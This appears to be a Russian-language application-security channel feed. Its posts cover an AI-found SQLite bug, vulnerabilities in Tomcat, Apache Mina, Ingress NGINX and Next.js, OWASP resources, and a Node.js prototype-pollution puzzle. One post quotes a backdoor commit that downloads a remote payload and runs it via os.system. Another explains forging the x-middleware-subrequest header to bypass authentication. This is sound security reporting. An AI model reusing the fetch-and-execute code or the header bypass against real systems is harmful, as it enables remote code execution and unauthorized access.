Канал не про ИИ, но от него никуда не деться


Как многие аппсеки, с интересом наблюдаю, что происходит на стыке задач поиска уязвимостей в коде и ИИ. И уже появилось несколько интересных примеров. Но сегодня попалась статья о совместном творении Google project zero и DeepMind. И как всегда у первых, статья с хорошим описанием обнаруженной уязвимости и техническими подробностями, что, почему и как.
С помощью агента Big Sleep им удалось найти уязвимость в SQLite, приводящую к ошибкам памяти. А это такой класс уязвимостей, который потенциально может оказаться очень серьезной проблемой уровня "отстрелить не ногу, а мозг через глаз". В статье они приводят не только описание процесса поиска, но и исследование того, можно ли было найти подробную проблему старым-добрым фаззингом. Спойлер: в общем, скорее нельзя, если не знать о ней заранее.

Мысли об LLM анализаторе кода очень сильно греют надеждой на расширение возможностей SAST для поиска, скажем, логических уязвимостей. А если ещё и RAG и можно скормить ТЗ, то вдруг и IDOR найдет🤯. Ждём новостей.

Еще один удар по Open Source

Атаками на проекты в GitHub в последнее время никого особо не шокируешь, но все же попадаются интересные случаи. На прошлой неделе досталось репозиторию стартапа в области AI и ML - Exo Labs, о чем рассказал его CEO в твиттере. Код вредоносного коммита выглядел "невинно" (по словам Alex Cheema), подпись к пулл реквесту ("clarify mlx requirement for deepseek models") особых вопросов не вызвала. По сути в коммите в URL-encode присутствовал следующий код:

import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

Казалось бы, неудачная попытка вложить закладку? особенно с учетом отсутствия stage1payload по указанному адресу. Но все немного интереснее: аккаунт, с которого был сделан PR, естественно, уже не существует, но вот домен принадлежит вполне себе реальному исследователю безопасности, который свою причастность к атаке отрицает.
Но дальше начинается самое интересное - аналогичные коммиты, содержащие тот же самый байткод, от разных пользователей были осуществлены в как минимум 18 разных проектов, в том числе, проекты с десятками тысяч звезд.

Не до конца понятная история, было это неуспешной атакой или успешным прикрытием чего-то другого - пока неясно. Но вот важность code-review еще раз подчеркнуть хотелось бы. Разумеется, нашлись энтузиасты, которые проверили, как отработали бы в этой ситуации ИИ инструменты для ревью, и они отработали хорошо. Но ложных надежд лучше не питать.

когда думаешь, что в телеграме рассадник ботов со всяким непотребством, а потом заходишь в gitter комнату Spring Security

Хорошая статья про то, как можно запороть аутентификацию. Многие из описанных проблем настолько очевидно-невероятные, что люди прям искренне удивляются, когда такие проблемы обнаруживаются в их продуктах

https://blog.intigriti.com/hacking-tools/broken-authentication-a-complete-guide-to-exploiting-advanced-authentication-vulnerabilities

На тренингах по моделированию угроз мы с командами разработки обычно разбираем какую-то одну фичу очень детально, со всех сторон прикидывая, что может пойти не так. И довольно часто это задача аплоада картинки в аватар пользователя. И, как это обычно бывает, взгляд разработчика на фичу сильно отличается от взгляда атакующего.

У intigriti вышла еще одна классная статья как раз про то, как обходить те ограничения, которые обычно призваны защитить функционал загрузки файлов. В статье есть не все подходы, но она интересна как раз демонстрацией того, что может и будет пытаться делать злоумышленник.

https://blog.intigriti.com/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities

TOCTOU Race Condition - Apache Tomcat

Классный тип уязвимостей - уязвимости, возникающие на гонках. Race Condition сложнее поймать, сложнее протестировать, сложнее отдебажить. Да и исправление зачастую приводит к уменьшению производительности. Однако уязвимости, возникающие при неправильном контроле зашаренных ресурсов, бывают очень любопытные. Как, например, свежая RCE в Tomcat.

Более конкретное название этой уязвимости - Time-of-check Time-of-use (TOCTOU) Race Condition. Происходит такой тип проблемы, когда есть проверка состояния какого-то параметра и его дальнейшее использование должно быть завязано на результат этой проверки. В случае с Apache Tomcat злоумышленнику для успешной атаки нужно стриггерить процесс проверки метаданных файла, а затем успеть подменить файл вредоносным с таким же именем, но в другом регистре, пока проверка еще не закончена. А с учетом того, что уязвимость в процессе компиляции JSP, то привести это может к удаленному исполнению кода.

Несмотря на высокую оценку CVSS уязвимость, вероятно, не будет иметь очень большого распространения, т.к. сработает это только на системах, нечувствительных к регистру, а также при разрешении на запись на дефолтном сервлете, что не является настройкой по умолчанию.

Исправлена уязвимость была добавлением класса ResourceLock и методов, имплементирующих исключительную блокировку при обращении к файлам.


Уязвимые версии:
- Apache Tomcat 11.0.0-M1 through 11.0.1
- Apache Tomcat 10.1.0-M1 through 10.1.33
- Apache Tomcat 9.0.0.M1 through 9.0.97


Патчи: 11.0.2, 10.1.34 или 9.0.98

CVSS: 9.8 (CVSS v3.x)

Подробнее: https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

Код патча доступен здесь , но первая версия была сама с багом, потребовалось еще дополнение

Обзор крупнейших взломов 2024

Под конец года часто выходят статьи, обозревающие самые шумные взломы, самые неприятные уязвимости, самые распространенные атаки. Одна из интересных статей вышла в блоге EFF (Electronic Frontier Foundation). Несколько интересных моментов:

😿 Из 12 обзоров 2 были осуществлены на системы хранения и обработки медицинских данных, 2 на государственные системы, 2 на банки и 1 на телекоммуникационную компанию (причем авторы утверждают, что косвенной причиной тому стал ее статус, который у нас назыается КВОИКИ)
😾 Самый "глупенький" кейс, конечно, spoutible - ребята просто собрали топчик того, как делать не нужно.
😼 Так или иначе 30% взломов в этой статье использовали небезопасные прямые ссылки (IDOR), - одну из самых легко автоматизируемых уязвимостей.
🙀 Любопытно, что из года в год жертвами таких крупных взломов становятся компании, так или иначе имеющие отношение к IT. Там, где, казалось бы, безопасность должна восприниматься как неотъемлемая часть непрерывного процесса, происходят самые громкие взломы - как у Roku или Snowflake.

В целом, авторы заключают, что в 2023 количество взломов составило около 3000, а в 2024 - всего около 2200, однако есть большие сомнения насчет того, что а) обо всех взломах информация раскрывается, б) обо всех взломах информация доступна именно авторам этой аналитики. К тому же, никто не исключает предвзятость авторов.

Но с такими статьями все же очень полезно знакомиться тем, у кого есть свои родные цифровые продукты, на которые не плевать❤️

Apache Mina - уязвимость десериализации в Java

Четыре дня назад вышла публикация новости об абсолютно прекрасной уязвимости в Apache Mina.

Почему прекрасной? Во-первых, 10.0 CVSS, что бывает редко. Во-вторых, это уязвимость небезопасной десериализации в java - почему-то разработчики зачастую говорят мне, что сейчас они не встречаются и остались в далеких 2017-2018 годах.
Важной особенностью уязвимости является тот факт, что просто пропатчиться от нее не получится - для устранения придется менять код, добавляя классы, для которых десериализация разрешена, а такое все-таки бывает редко. Обычно достаточно применить патч.

Неплохое очень краткое объяснение, почему возникают уязвимости сериализации.

На замечательном канале @neverendingit недавно публиковался пост о Cybersecurity Architecture Series от IBM. В подборке в 10 коротких видео рассказывается о построении безопасной архитектуры для продуктов. Понятным языком, увлекательно и без параноидальных перегибов. Очень рекомендую к просмотру

https://www.youtube.com/playlist?list=PLOspHqNVtKADkWLFt9OcziQF7EatuANSY

Шикарная статья об атаках на OAuth и о том, какие ошибки часто допускаются при его конфигурации и создании флоу авторизации.

А к ней в догонку pdf со схемами из статьи и чек-листом, по которому можно проверить себя)

https://jprx.io/cve-2025-24118/

ок, меня хватило только на половину статьи, потому что race conditions, треды, XNU и вот это все. Но все ли обновили маки и другие яблочные устройства?

Очень красивый ресерч от багхантеров с детальным описанием того, как они рассуждали и что именно анализировали, в том числе, с указанием действий, которые не принесли результатов.

Понравилось вот это: "By using the library SWC (Speedy Web Compiler), we wrote a Rust code to parse the JS files into these ASTs and systematically traversed them to locate all import or require statements". Безопасность должна работать вот примерно так: с действительно хорошим пониманием того, что именно ломаешь\защищаешь.

А для разработчиков и девопсов статья может быть интересна взглядом со стороны нападающего. Что на самом деле в интернете нет ничего секретного и все условно "тайное" становится явным

Главный документ по безопасной разработке 📖

Команда OWASP выпустила большое количество очень полезных материалов для разработчиков, посвященных безопасности их продуктов. И самый первый документ, который по сути может служить учебным пособием, настольной книгой, чеклистом, да и просто интересным чтивом - OWASP Application Security Verification Standart (ASVS).

Стандарт состоит из 14 тематических разделов, посвященных отдельным направлениям защиты продукта. Привожу их здесь: наверняка просто по списку Вы сможете увидеть пункты, которые будут полезны Вашему продукту

1. Архитектура, дизайн, моделирование угроз
2. Аутентификация
3. Менеджмент сессий
4. Контроль доступа
5. Валидация, санитизация и кодирование
6. Криптография при хранении
7. Обработка ошибок и логирование
8. Защита данных
9. Коммуникации (защита данных при передаче)
10. Вредоносный код
11. Бизнес-логика
12. Файлы и ресурсы
13. API и вебсервисы
14. Конфигурации

📖 Стандарт ASVS выпускается на многих языках, репозиторий доступен по ссылке https://github.com/OWASP/ASVS

📖📱 А для разработчиков мобильных приложений полезным будет стандарт MASVS, в котором описываются проверки, необходимые для безопасности мобильному приложению - https://github.com/OWASP/owasp-masvs.

#owasp

OWASP Cheat Sheets

Еще одна важная вещь, которую миру подарила организация OWASP, - серия OWASP Cheat Sheets. Эта штука, вероятно, многим разработчикам будет удобнее ASVS, т.к. дает более прикладную информацию, но это скорее следствие того, что область применения у читщитов немного другая - если ASVS критически важен на этапе дизайна приложения, то читщиты - это уже про реализацию. Но маппинг одного на другое есть - чтобы было проще ориентироваться.

Про что есть шпаргалки?
- разделы, посвященные тому, как правильно организовать безопасность для конкретных технологий (например, разделы про Java, Laravel, .NET, NodeJS, отдельно про GraphQL и многое другое).
- разделы, посвященные скорее DevOps части разработки (CI/CD Security, Docker Security, Network Segmentation...).
- разделы, посвященные реализации конкретных фич, которые часто встречаются и имеют список типичных ошибок, которые допускаются при реализации (File Upload, мэнеджмент сессий, работа с XML и многое другое).
- вообще совершенно классные разделы, посвященные в целом тому, как организовать менеджмент секретов, проводить моделирование угроз, тестировать аутентификацию и даже осуществлять виртуальный патчинг.

Именно на основе этих документов можно очень быстро дополнить свой список для Code Review требованиями по Security части. Предлагаю ознакомиться с этим документом и выбрать для себя те вещи, которые касаются Ваших продуктов.

зацените слоган)

Typosquatting в go-пакетах: атаки на linux и macos

Всем привет, вчера вечером опубликовали статью, на которую стоит обратить внимание go-разработчикам (а для общего понимания атаки и остальным тоже можно).

Исследователи из socket.dev обнаружили развернутую атаку на Go экосистемы. Опубликованные злоумышленниками пакеты при запуске распаковывают малварь, которая по общему своему составу похожа на стандартные подходы к доставке зловредов разными APT. По всей видимости, атака направлена на разработчиков в финансовом секторе. Будьте осторожны.

Плохие секреты. Поиграем?

У OWASP есть еще и игры. Предлагаю познакомиться с одной из них - wrong secrets project.

Эта игра знакомит Вас с тем, где и по каким причинам могут прятаться захардкоженные пароли. Хотя разработчики и так знают это, правда?)

В нулевом задании нужно просто ввести текст из задания, но дальше Вы переходите в специальный проект, где спряталось очень много секретов. сможете найти их все?

https://www.wrongsecrets.com/

Хотите задачку? Есть следующий ниже код (Node.js). Что нужно отправить в параметр token, чтобы этот код напечатал true?

Что эта таска делает в канале про application security? а она связана с одной очень специфичной уязвимостью, которая возникает в случае, если на бэке используется Node.js. Если у Вас есть идеи, что нужно сделать, пишите в комментарии (ну или в личку). А на следующей неделе расскажу подробнее про саму уязвимость и почему она возникает.

const SOMEOBJECT = {}

app.get("/validateToken", (req, res) => {
 if (req.header('token')){
  const token = Buffer.from(req.header('token'), 'base64')
  if (SOMEOBJECT[token] && token){
   return res.send("true");
  }
 }
 return res.send("false");
});

В начале недели я скидывала таск, который успешно был решен. Пришло время рассказать, какое отношение он имеет к безопасности.

Специфичная для JavaScript, уязвимость, о которой пойдет речь, называется Prototype Pollution. В этом языке каждый объект имеет специальное поле, по которому можно получить доступ к его прототипу. Для этого можно обратиться к имени __proto__, которое по сути можно использовать как сеттер и геттер для прототипа объекта. И хотя это обычно считается плохим подходом, в целом, в JavaScript можно изменять прототип не только для пользовательских, но и для встроенных типов.

Prototype pollution - уязвимость JavaScript, которая позволяет атакующему добавить нужные ему свойства в глобально определенные прототипы, которые могут быть унаследованы пользовательскими объектами. Проще говоря, мы можем переопределить структуру, лежащую в основе объектов.

Сама уязвимость в чистом виде встречается и эксплуатируется редко, зато может оказаться важным звеном в цепочке атаки. Классный гайд о том, когда она возникает и как именно эксплуатируется, есть здесь. И если Вы работаете с JS, то ознакомиться с ним было бы очень здорово, потому что при плохом стечении обстоятельств, она может даже дать RCE (в первой ссылке ниже пример именно такой).
Тем более что такие уязвимости в большом количестве обнаруживались в самых разных JS библиотеках (Blitz.js с крутым разбором ) и как минимум уже в трех популярных плагинах в этом году: canvg, vue l18n , intlify

Всех поздравляю с наступающим праздником! Желаю тепла, любви и здоровья! а по заявке одного из подписчиков, предлагаю еще и флаг найти)

Два повода обновиться - уязвимости Ingress Nginx и Next.js фреймворка

Праздники позади и пора возвращаться в суровую реальность, в которой за выходные вышло две (на самом деле, гораздо больше, но стоит посмотреть на эти две группы) уязвимости.

☄️ Первая мне особенно понравилась тем, что она служит отличным примером для OWASP Top-10 A04:2021 Insecure Design, когда контроль безопасности должен был быть продуман и не был. В Ingress NGINX Controller for Kubernetes была обнаружена целая пачка критических уязвимостей, которые могут привести к удаленному исполнению кода и в целом к полному захвату кластера. Уязвимость возникла из-за того, как адмишн контроллер обрабатывает входящие ингресс объекты. По умолчанию, этот контроллер доступен из сети без аутентификации, что делает его очень заманчивым для атакующего, позволяя ему инжектить произвольные ингресс объекты (содержащие директивы конфигураций, т.е. исполнять код). В ходе работы с этой уязвимостью исследователи нашли еще пять, а также разнесли первый патч, представленный командой kubernetes, потому что не всегда быстрые патчи реально устраняют проблему. Примечательно, что все пять критических уязвимостей были опубликованы командой Wiz, не так давно купленной Гуглом за 32 миллиарда долларов. Наличными.

CVSS 9.8, наличие и эксплуатабельность были подтверждены для 43% облачных платформ. Есить смысл проверить у себя, ведь по дефолту настройки уязвимые (правда, надеюсь, с сетевой доступностью все не так просто). Даже самые крутые команды могут допускать промахи, которые не ловятся никакими инструментами.

☄️ Вторая уязвимость затронула фреймворк Next.js и его работу с middleware. Возникает она из-за некорректной обработки заголовка x-middleware-subrequest. В частности, функция runMiddleware проверяет значение этого хэдера, чтобы определить, следует ли выполнять middleware. Злоумышленник может сфабриковать запрос, добавив этот заголовок с определенными значениями (например, pages/_middleware или middleware) и тогда middleware просто будет пропущен, а проверка аутентификации\авторизации пользователя по определенным путям перестанет работать.

В обоих случаях основная рекомендация - обновиться. Есть митигации, но это дело временное.